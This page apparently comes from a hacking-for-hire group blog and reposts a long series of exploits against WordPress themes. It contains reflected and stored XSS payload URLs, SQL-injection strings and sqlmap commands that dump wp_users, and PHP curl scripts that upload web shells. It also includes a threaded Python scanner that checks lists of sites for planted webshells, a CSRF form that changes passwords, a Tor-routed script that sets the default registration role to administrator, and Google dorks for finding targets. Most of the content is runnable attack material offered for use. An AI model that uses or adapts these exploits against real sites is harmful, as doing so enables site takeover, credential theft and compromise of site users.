Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863588574

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/49896/info

The Trending theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Trending theme 0.2 are vulnerable. 

http://www.exmaple.com/?p=8&cpage=[xss]
HireHackking 
# Exploit Title: Wordpress Theme Travelscape v1.0.3 - Arbitrary File Upload
# Date: 2024-04-01
# Author: Milad Karimi (Ex3ptionaL)
# Category : webapps
# Tested on: windows 10 , firefox

import sys
import os.path
import requests
import re
import urllib3
from requests.exceptions import SSLError
from multiprocessing.dummy import Pool as ThreadPool
from colorama import Fore, init
init(autoreset=True)
error_color = Fore.RED
info_color = Fore.CYAN
success_color = Fore.GREEN
highlight_color = Fore.MAGENTA
requests.urllib3.disable_warnings()
headers = {
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M;
wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107
Mobile Safari/537.36',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',

    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
    'Referer': 'www.google.com'
}
def URLdomain(url):
    if url.startswith("http://"):
        url = url.replace("http://", "")
    elif url.startswith("https://"):
        url = url.replace("https://", "")
    if '/' in url:
        url = url.split('/')[0]
    return url
def check_security(url):
    fg = success_color
    fr = error_color
    try:
        url = 'http://' + URLdomain(url)
        check = requests.get(url +
'/wp-content/themes/travelscape/json.php', headers=headers,
allow_redirects=True, timeout=15)
        if 'MSQ_403' in check.text:
            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
            open('MSQ_403.txt', 'a').write(url +
'/wp-content/themes/travelscape/json.php\n')
        else:
            url = 'https://' + URLdomain(url)
            check = requests.get(url +
'/wp-content/themes/aahana/json.php', headers=headers,
allow_redirects=True, verify=False, timeout=15)
            if 'MSQ_403' in check.text:
                print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
                open('MSQ_403.txt', 'a').write(url +
'/wp-content/themes/aahana/json.php\n')
            else:
                print(' -| ' + url + ' --> {}[Failed]'.format(fr))
        check = requests.get(url + '/wp-content/themes/travel/issue.php',
headers=headers, allow_redirects=True, timeout=15)
        if 'Yanz Webshell!' in check.text:
            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
            open('wso.txt', 'a').write(url +
'/wp-content/themes/travel/issue.php\n')
        else:
            url = 'https://' + URLdomain(url)
        check = requests.get(url + '/about.php', headers=headers,
allow_redirects=True, timeout=15)
        if 'Yanz Webshell!' in check.text:
            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
            open('wso.txt', 'a').write(url + '/about.php\n')
        else:
            url = 'https://' + URLdomain(url)
        check = requests.get(url +
'/wp-content/themes/digital-download/new.php', headers=headers,
allow_redirects=True, timeout=15)
        if '#0x2525' in check.text:
            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
            open('digital-download.txt', 'a').write(url +
'/wp-content/themes/digital-download/new.php\n')
        else:
            print(' -| ' + url + ' --> {}[Failed]'.format(fr))
            url = 'http://' + URLdomain(url)
        check = requests.get(url + '/epinyins.php', headers=headers,
allow_redirects=True, timeout=15)
        if 'Uname:' in check.text:
            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
            open('wso.txt', 'a').write(url + '/epinyins.php\n')
        else:
            print(' -| ' + url + ' --> {}[Failed]'.format(fr))
            url = 'https://' + URLdomain(url)
        check = requests.get(url + '/wp-admin/dropdown.php',
headers=headers, allow_redirects=True, verify=False, timeout=15)
        if 'Uname:' in check.text:
            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
            open('wso.txt', 'a').write(url + '/wp-admin/dropdown.php\n')
        else:
            url = 'https://' + URLdomain(url)
            check = requests.get(url +
'/wp-content/plugins/dummyyummy/wp-signup.php', headers=headers,
allow_redirects=True, verify=False, timeout=15)
            if 'Simple Shell' in check.text:
                print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
                open('dummyyummy.txt', 'a').write(url +
'/wp-content/plugins/dummyyummy/wp-signup.php\n')
            else:
                print(' -| ' + url + ' --> {}[Failed]'.format(fr))
    except Exception as e:
        print(f' -| {url} --> {fr}[Failed] due to: {e}')
def main():
    try:
        url_file_path = sys.argv[1]
    except IndexError:
        url_file_path = input(f"{info_color}Enter the path to the file
containing URLs: ")
        if not os.path.isfile(url_file_path):
            print(f"{error_color}[ERROR] The specified file path is
invalid.")
            sys.exit(1)
    try:
        urls_to_check = [line.strip() for line in open(url_file_path, 'r',
encoding='utf-8').readlines()]
    except Exception as e:
        print(f"{error_color}[ERROR] An error occurred while reading the
file: {e}")
        sys.exit(1)
    pool = ThreadPool(20)
    pool.map(check_security, urls_to_check)
    pool.close()
    pool.join()
    print(f"{info_color}Security check process completed successfully.
Results are saved in corresponding files.")
if __name__ == "__main__":
    main()
HireHackking 
source: https://www.securityfocus.com/bid/56745/info

The Toolbox theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Toolbox 1.4 is vulnerable; other versions may also be affected.

http://www.example.com/wp-content/Themes/toolbox/include/flyer.php?mls=[Sqli]
HireHackking 
source: https://www.securityfocus.com/bid/63523/info

The This Way Theme for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access to the application; other attacks are also possible. 

<?php
$uploadfile="upl.php";
$ch = curl_init("http://[localcrot]/wp-content/themes/ThisWay/includes/uploadify/upload_settings_image.php");
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
HireHackking 
source: https://www.securityfocus.com/bid/47320/info

The Gazette Edition for Wordpress is prone to multiple security vulnerabilities. These vulnerabilities include multiple denial-of-service vulnerabilities, a cross-site scripting vulnerability, and an information-disclosure vulnerability.

Exploiting these issues could allow an attacker to deny service to legitimate users, gain access to sensitive information, execute arbitrary script code, or steal cookie-based authentication credentials. Other attacks may also be possible.

Gazette Edition for Wordpress 2.9.4 and prior versions are vulnerable. 

http://www.example.com/wp-content/themes/gazette/thumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E

http://www.example.com/wp-content/themes/gazette/thumb.php?src=http://site

http://www.example.com/wp-content/themes/gazette/thumb.php?src=http://site/big_file&h=1&w=1
HireHackking 
source: https://www.securityfocus.com/bid/63836/info

The Suco themes for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

<?php
$uploadfile="devilscream.php";
$ch = curl_init("http://127.0.0.1/wp-content/themes/suco/themify/themify-ajax.php?upload=1");
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
HireHackking 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256


=== LSE Leading Security Experts GmbH - Security Advisory 2016-01-01 ===

Wordpress ProjectTheme Multiple Vulnerabilities
- - ------------------------------------------------------------

Affected Version
================
Project Theme: 2.0.9.5

Problem Overview
================
Technical Risk: high
Likelihood of Exploitation: low
Vendor: http://sitemile.com/
Credits: LSE Leading Security Experts GmbH employee Tim Herres
Advisory: https://www.lsexperts.de/advisories/lse-2016-01-01.txt
Advisory Status: public
CVE-Number: [NA yet]

Problem Impact
==============
During an internal code review multiple vulnerabilities were identified.
The whole application misses input validation and output encoding. This means user supplied input is inserted in a unsafe way.
This could allow a remote attacker to easily compromise user accounts. 

Example:
An authenticated user sends a private message to another user. 
When the attacker injects JavaScript Code, it will automatically call the CSRF Proc below.
The only necessary information is the user id, which can be identified easily, see below.
If the other user opens the private message menu, the JavaScript code gets executed and the Password will be changed. It is not necessary to open the message.
Now the attacker can access the account using the new password.

Problem Description
===================
The following findings are only examples, the whole application should be reviewed for similar vulnerabilities.

#Stored Cross Site Scripting:
Creating a new project http://[URL]/post-new/? in the project title and description field.
Insert JavaScript code inside the project message board:
POST /?get_message_board=34 HTTP/1.1
sumbit_message=1&my_message=TestMessagBoard<script>alert("stored_xss")</script>
Also in the private message in the subject or in the message field. The payload in the Subject will be executed, if the user opens the private message list.

#Reflected Cross Site Scripting:
http://[IP]/advanced-search/?term=asdf&%22%3E%3Cscript%3Ealert%2811%29%3C%2fscript%3E

# No protection against Cross Site Request Forgery Attacks
There is no Cross Site Request Forgery protection.
Also the user password can be changed without knowledge of the current password.
A possible CSRF attack form, which will change the users password to "test":
<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://[ip]/my-account/personal-information/", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarywXBZovhmb3VnFJdz");
        xhr.setRequestHeader("Accept-Language", "de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"project_location_cat\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"user_city\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"user_description\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"password\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"reppassword\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"avatar\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"save-info\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"user_id\"\r\n" + 
          "\r\n" + 
          "2\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

#Getting user id
In a published project there is a button contact project owner with the corresponding UID --> url: http://[IP]/my-account/private-messages/?rdr=&pg=send&uid=1&pid=34.
Also a mouseover in the user profile (Feedback) will reveal the userid.


Temporary Workaround and Fix
============================
No fix

History
=======
2015-12-20  Problem discovery during code review
2016-01-12  Vendor contacted
2016-01-12  Vendor response (check in progress)
2016-01-26  Vendor contacted (asked for status update)
2016-01-26  Vendor reponse (check in progress)
2016-02-05  Vendor contacted (advisory will be released in 30 days)
2016-03-07  Vendor contacted (asked for last status update)
2016-03-07  Vendor response (vulnerabilities should be fixed in the last update 2.0.9.7 on 1st march 2016, not verified by the LSE)
2016-03-08  Advisory release
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJW3ojFAAoJEDgSCSGZ4yd8iQIQAOYTS8WaW0Tkw8JMwssV/N8F
8O6tk4BYAkBbaMhk8rPBZBKcny7hTUiCsfLr7PYby9O3hcLmGMajhhyYg+5jjw1x
XUQc6dsER9UAj7OukUHxqJH2trQvcQfCOQUx7iNgV4lHNfpOGDOBVvZYA/YNE6uF
mUuyoGDdHlE3jE9WVGamsy2t5lrY5HOYXK6ZJkAv79MkeM6Dzdt2VXdZmN4UHzec
NkAm0fvML143dcBt3BsuCsE5AhfBJGOesAUMkE7Z29HTux1fBrNyYs4KhzumSALy
2I7h4WTozJMXBufEZkvqcGA6ikWATr31SzaUGjzyko96whegkNizJhpFqbAwtlZZ
tz32tXjf97c+3mmpKvkHqsln2oPWJrfAEV2q96SlOuevFo38uJSYb31NNZrtfx7I
5FoXr8ZgR98VIxeQcceF021JvM95J0ciLWWLkRYoE3VP1pQz9frrX7QfUU5+QrqT
gCC49pWbeK00aVdlqgc3oquJd8kk4fVZ59HOaNJldQh2BM9isFscbQ8fDmYJna/K
0VzgaoItc0OBR4hLywPi2MEVvHQm3r7Qe4JGsnr1imRg7i84GfbsuYsG8UH/FkDP
4nWQnKcZFTrNzTNQdsvho/P6/d3Efp5zJr+GVkNwI4242yAYHaAfcfy+DzK7vDH+
b3FqvVBebtLXMXwgRwx0
=NlIz
-----END PGP SIGNATURE-----
HireHackking 
source: https://www.securityfocus.com/bid/55062/info

The ShopperPress WordPress theme is prone to an SQL-injection and multiple cross-site vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow an attacker to steal cookie-based authentication credentials, to compromise the application, to access or modify data, or to exploit latent vulnerabilities in the underlying database.

ShopperPress 2.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=images&p=0&search=%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+width%3D800+height%3D800onload%3Dalert%28%22VLAB%22%29+%3C

http://www.example.com/wp-admin/admin.php?page=emails&edit=%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+width%3D800+height%3D800onload%3Dalert%28%22VLAB%22%29+%3C

http://www.example.com/wp-admin/admin.php?page=members&edit&order=0%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+width%3D800+height%3D800onload%3Dalert%28%22VLAB%22%29+%3C

http://www.example.com/wp-admin/admin.php?page=orders&id=5-261343282-1%27union select[SQL-INJECTION!]--
HireHackking 
source: https://www.securityfocus.com/bid/49880/info

The RedLine theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RedLine theme prior to 1.66 are vulnerable. 

http://www.example.com/?s="%20%3e%3c/link%3e%3cScRiPt%3ealert(123)%3c/ScRiPt%3e
HireHackking 
# Exploit Title: Real Estate 7 - Real Estate WordPress Theme v2.8.9
Persistent XSS Injection
# Google Dork: inurl:"/wp-content/themes/realestate-7/"
# Date: 2019/07/20
# Author: m0ze
# Vendor Homepage: https://contempothemes.com
# Software Link: https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778
# Version: <= 2.8.9
# Tested on: NginX
# CVE: -
# CWE: CWE-79

Details & Description:
The «Real Estate 7» premium WordPress theme is vulnerable to persistent XSS
injection that allows an attacker to inject JavaScript or HTML code into
the website front-end.

Special Note:
- 7.151 Sales
- If pre moderation is enabled, then u have a huge chance to steal an admin
or moderator cookies.
- U can edit any existed listing on the website by changing the unique ID
-> https://site.com/edit-listing/?listings=XXX (where XXX is WordPress post
ID, u can find it inside <body> tag class).

PoC [Persistent XSS Injection]:
First of all, register a new account as a seller or agent, log in and
choose free membership package @ the dashboard. After that u'll be able to
submit a new listing -> https://site.com/submit-listing/
For persistent XSS injection u need to add ur payload inside the «Vitrual
Tour Embed» text area (on the «DETAILS» step) and then press «Submit»
button.
Example: <img src="x" onerror="(alert)(`m0ze`)">
HireHackking 
source: https://www.securityfocus.com/bid/55605/info

Purity theme for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Purity 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/index.php?m=top&s='><script>alert("Hacked_by_MADSEC")</script>

The "ContactName" ,"email" ,"subject" ,"comments", variables are not
properly sanitized before being used

Exploit:

POST /contact/ HTTP/1.0
Content-Length: 82
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: exploit-masters.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/wordpress/contact/

contactName=>"'><script>alert("Hacked_by_MADSEC")</script>&email=&subject=&comments=&submitted=
HireHackking 
source: https://www.securityfocus.com/bid/49875/info

The Pixiv Custom theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pixiv Custom theme 2.1.5 is vulnerable; prior versions may also be affected. 

http://www.example.com/?cpage=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/57873/info

The Pinboard theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

Pinboard 1.0.6 is vulnerable; prior versions may also be affected.

http://www.example.com/wp-admin/themes.php?page=pinboard_options&tab= ]"><script>alert(document.cookie)</script>
HireHackking 
# Exploit Title: [ wordpress theme photocrati 4.X.X SQL INJECTION ]
# Google Dork: [ Designed by Photocrati ] also [powered by Photocrati]
# Date: [23 / 09 / 2011 ]
# Exploit Author: [ ayastar ]
# Email : dmx-ayastar@hotmail.fr
# Software Link: [ http://www.photocrati.com ]
# Version: [4.X.X]
# Tested on: [ windows 7 ]


--------
details |
=======================================================
Software : photocrati
version : 4.X.X
Risk : High
remote : yes

attacker can do a remote injection in site URL to get some sensitive information .
almost all version are infected by this vunl. 
=======================================================
Exploit code :
http://sitewordpress/wp-content/themes/[photocrati-Path-theme]/ecomm-sizes.php?prod_id=[SQL]

greetz to all muslims and all tryag member's 
:) from morocco
HireHackking 
# Exploit Title: WordPress Theme NexosReal Estate 1.7 - 'search_order' SQL Injection
# Google Dork: inurl:/wp-content/themes/nexos/
# Date: 2020-06-17
# Exploit Author: Vlad Vector
# Vendor: Sanljiljan [ https://themeforest.net/user/sanljiljan ]
# Software Version: 1.7
# Software Link: https://themeforest.net/item/nexos-real-estate-agency-directory/21126242
# Tested on: Debian 10
# CVE: CVE-2020-15363, CVE-2020-15364
# CWE: CWE-79, CWE-89



### [ Info: ]

[i] The Nexos theme through 1.7 for WordPress allows side-map/?search_order= SQL Injection.



### [ Vulnerabilities: ]

[x] Unauthenticated Reflected XSS
[x] SQL Injection



### [ PoC Unauthenticated Reflected XSS: ]

[!] TARGET/TARGET-DIR/top-map/?search_order=idlisting DESC&search_location="><img src=x onerror=alert(`VLΛDVΞCTOR`);window.location=`https://twitter.com/vlad_vector`%3E>

[!] GET /TARGET-DIR/top-map/?search_order=idlisting%20DESC&search_location=%22%3E%3Cimg%20src=x%20onerror=alert(`VL%CE%9BDV%CE%9ECTOR`);window.location=`https://twitter.com/vlad_vector`%3E%3E HTTP/1.1
Host: listing-themes.com



### [ PoC SQL Injection: ]

[!] sqlmap --url="TARGET/TARGET-DIR/side-map/?search_order=idlisting%20DESC" -dbs --random-agent --threads 4

[02:23:33] [INFO] the back-end DBMS is MySQL
[02:23:33] [INFO] fetching database names
[02:23:33] [INFO] fetching number of databases
[02:23:33] [INFO] resumed: 2
available databases [2]:
[*] geniuscr_nexos
[*] information_schema

[!] sqlmap --url="TARGET/TARGET-DIR/side-map/?search_order=idlisting%20DESC" -D geniuscr_nexos -T wp_users -C user_login,user_pass,user_email --random-agent --threads 8

Database: TARGET-DB
Table: wp_users
[9 entries]
+--------------+------------------------------------+-------------------------+
HireHackking 
<?php
/**
 * Exploit Title: Newspaper WP Theme Expoit
 * Google Dork:
 * Exploit Author: wp0Day.com <contact@wp0day.com>
 * Vendor Homepage: http://tagdiv.com/newspaper/
 * Software Link: http://themeforest.net/item/newspaper/5489609
 * Version: 6.7.1
 * Tested on: Debian 8, PHP 5.6.17-3
 * Type: WP Options Overwrite, Possible more
 * Time line: Found [23-APR-2016], Vendor notified [23-APR-2016], Vendor fixed: [27-APR-2016], [RD:1]
 */


require_once('curl.php');
//OR
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
$curl = new CurlWrapper();


$options = getopt("t:m:u:p:f:c:",array('tor:'));
print_r($options);
$options = validateInput($options);

if (!$options){
    showHelp();
}

if ($options['tor'] === true)
{
    echo " ### USING TOR ###\n";
    echo "Setting TOR Proxy...\n";
    $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
    $curl->addOption(CURLOPT_PROXYTYPE,7);
    echo "Checking IPv4 Address\n";
    $curl->get('https://dynamicdns.park-your-domain.com/getip');
    echo "Got IP : ".$curl->getResponse()."\n";
    echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
    $answer = fgets(fopen ("php://stdin","r"));
    if(trim($answer) != 'wololo'){
        die("Aborting!\n");
    }
    echo "OK...\n";
}

function exploit(){
    global $curl, $options;
    switch ($options['m']){
        case "admin_on":
              echo "Setting default role to Administrator \n";
              $data = array('action'=>'td_ajax_update_panel', 'wp_option[default_role]'=>'administrator');
        break;
        case "admin_off":
              echo "Setting default role to Subscriber \n";
              $data = array('action'=>'td_ajax_update_panel', 'wp_option[default_role]'=>'subscriber');
        break;
        case "reg_on":
            echo "Enabling registrations\n";
            $data = array('action'=>'td_ajax_update_panel', 'wp_option[users_can_register]'=>'1');
        break;
        case "reg_on":
            echo "Disabling registrations\n";
            $data = array('action'=>'td_ajax_update_panel', 'wp_option[users_can_register]'=>'0');
        break;

    }

    $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
    $resp = $curl->getResponse();
    echo "Response: ". $resp."\n";
}


exploit();



function validateInput($options){

    if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
        return false;
    }

    if (!preg_match('~/$~',$options['t'])){
        $options['t'] = $options['t'].'/';
    }
    if (!isset($options['m']) || !in_array($options['m'], array('admin_on','reg_on','admin_off','reg_off') ) ){
        return false;
    }

    $options['tor'] = isset($options['tor']);

    return $options;
}


function showHelp(){
    global $argv;
    $help = <<<EOD

    Newspaper WP Theme Exploit

Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -m [MODE]

       [TARGET_URL] http://localhost/wordpress/
       [MODE] admin_on - Default admin level on reg. admin_off - Default subscriber on reg.
              reg_on - Turns on user registration. reg_off - Turns off user registrations.

       Trun on registrations, set default level to admin, register a user on the webiste,
       turn off admin mode, turn off user registrations.

Examples:
       php $argv[0] -t http://localhost/wordpress --tor=yes -m admin_on
       [Register a new user as Admin]
       php $argv[0] -t http://localhost/wordpress --tor=yes -m admin_off

    Misc:
           CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
           @link http://github.com/svyatov/CurlWrapper
           @license http://www.opensource.org/licenses/mit-license.html MIT License

EOD;
    echo $help."\n\n";
    die();
}
HireHackking 
source: https://www.securityfocus.com/bid/56792/info

The Nest theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/themes/nest/gerador_galeria.php?codigo=[Sqli]
HireHackking 
source: https://www.securityfocus.com/bid/49878/info

The Morning Coffee theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Morning Coffee theme prior to 3.6 are vulnerable. 

http://www.example.com/wp/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=53851965%3C/ScRiPt%3E/t
HireHackking 
# Exploit Title: WordPress Theme Medic v1.0.0 - Weak Password Recovery Mechanism for Forgotten Password
# Dork: inurl:/wp-includes/class-wp-query.php
# Date: 2023-06-19
# Exploit Author: Amirhossein Bahramizadeh
# Category : Webapps
# Vendor Homepage: https://www.templatemonster.com/wordpress-themes/medic-health-and-medical-clinic-wordpress-theme-216233.html
# Version: 1.0.0 (REQUIRED)
# Tested on: Windows/Linux
# CVE: CVE-2020-11027

import requests
from bs4 import BeautifulSoup
from datetime import datetime, timedelta

# Set the WordPress site URL and the user email address
site_url = 'https://example.com'
user_email = 'user@example.com'

# Get the password reset link from the user email
# You can use any email client or library to retrieve the email
# In this example, we are assuming that the email is stored in a file named 'password_reset_email.html'
with open('password_reset_email.html', 'r') as f:
    email = f.read()
    soup = BeautifulSoup(email, 'html.parser')
    reset_link = soup.find('a', href=True)['href']
    print(f'Reset Link: {reset_link}')

# Check if the password reset link expires upon changing the user password
response = requests.get(reset_link)
if response.status_code == 200:
    # Get the expiration date from the reset link HTML
    soup = BeautifulSoup(response.text, 'html.parser')
    expiration_date_str = soup.find('p', string=lambda s: 'Password reset link will expire on' in s).text.split('on ')[1]
    expiration_date = datetime.strptime(expiration_date_str, '%B %d, %Y %I:%M %p')
    print(f'Expiration Date: {expiration_date}')

    # Check if the expiration date is less than 24 hours from now
    if expiration_date < datetime.now() + timedelta(hours=24):
        print('Password reset link expires upon changing the user password.')
    else:
        print('Password reset link does not expire upon changing the user password.')
else:
    print(f'Error fetching reset link: {response.status_code} {response.text}')
    exit()
HireHackking 
source: https://www.securityfocus.com/bid/56664/info

The Magazine Basic theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/wp-content/themes/magazine-basic/view_artist.php?id=[SQL]
HireHackking 
source: https://www.securityfocus.com/bid/56608/info

The Madebymilk theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

https://www.example.com/wp-content/plugins/madebymilk/voting-popup.php?id=null'
HireHackking 
source: https://www.securityfocus.com/bid/47299/info

Live Wire for Wordpress is prone to multiple security vulnerabilities. These vulnerabilities include multiple denial-of-service vulnerabilities, a cross-site scripting vulnerability, and an information-disclosure vulnerability.

Exploiting these issues could allow an attacker to deny service to legitimate users, gain access to sensitive information, execute arbitrary script code, or steal cookie-based authentication credentials. Other attacks may also be possible.

Live Wire for Wordpress 2.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/themes/livewire-edition/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

http://www.example.com/wp-content/themes/livewire-edition/thumb.php?src=jpg

http://www.example.com/wp-content/themes/livewire-edition/thumb.php?src=http://site/big_file&h=1&w=1
HireHackking 
source: https://www.securityfocus.com/bid/65460/info

The Kiddo theme for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to sufficiently sanitize file extensions.

An attacker can exploit this issue to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access to the application; other attacks are also possible. 

<?php
*/
[+] Author: TUNISIAN CYBER
[+] Exploit Title: Kidoo WP Theme File Upload Vulnerability
[+] Date: 05-02-2014
[+] Category: WebApp
[+] Google Dork: :(
[+] Tested on: KaliLinux
[+] Vendor: n/a
[+] Friendly Sites: na3il.com,th3-creative.com

Kiddo WP theme suffers from a File Upload Vulnerability

+PoC:
site/wp-content/themes/kiddo/app/assets/js/uploadify/uploadify.php

+Shell Path:
site/3vil.php

ScreenShot:
http://i.imgur.com/c62cWHH.png

Greets to: XMaX-tn, N43il HacK3r, XtechSEt
Sec4Ever Members:
DamaneDz
UzunDz
GEOIX
E4A Members:
Gastro-DZ

*/

echo "=============================================== \n"; 
echo "   Kiddo WP Theme File Upload Vulnerability\n"; 
echo "                 TUNISIAN CYBER   \n"; 
echo "=============================================== \n\n";   
$uploadfile="cyber.php";
  
$ch = curl_init("site-content/themes/kiddo/app/assets/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
  
?>
HireHackking 
source: https://www.securityfocus.com/bid/56477/info

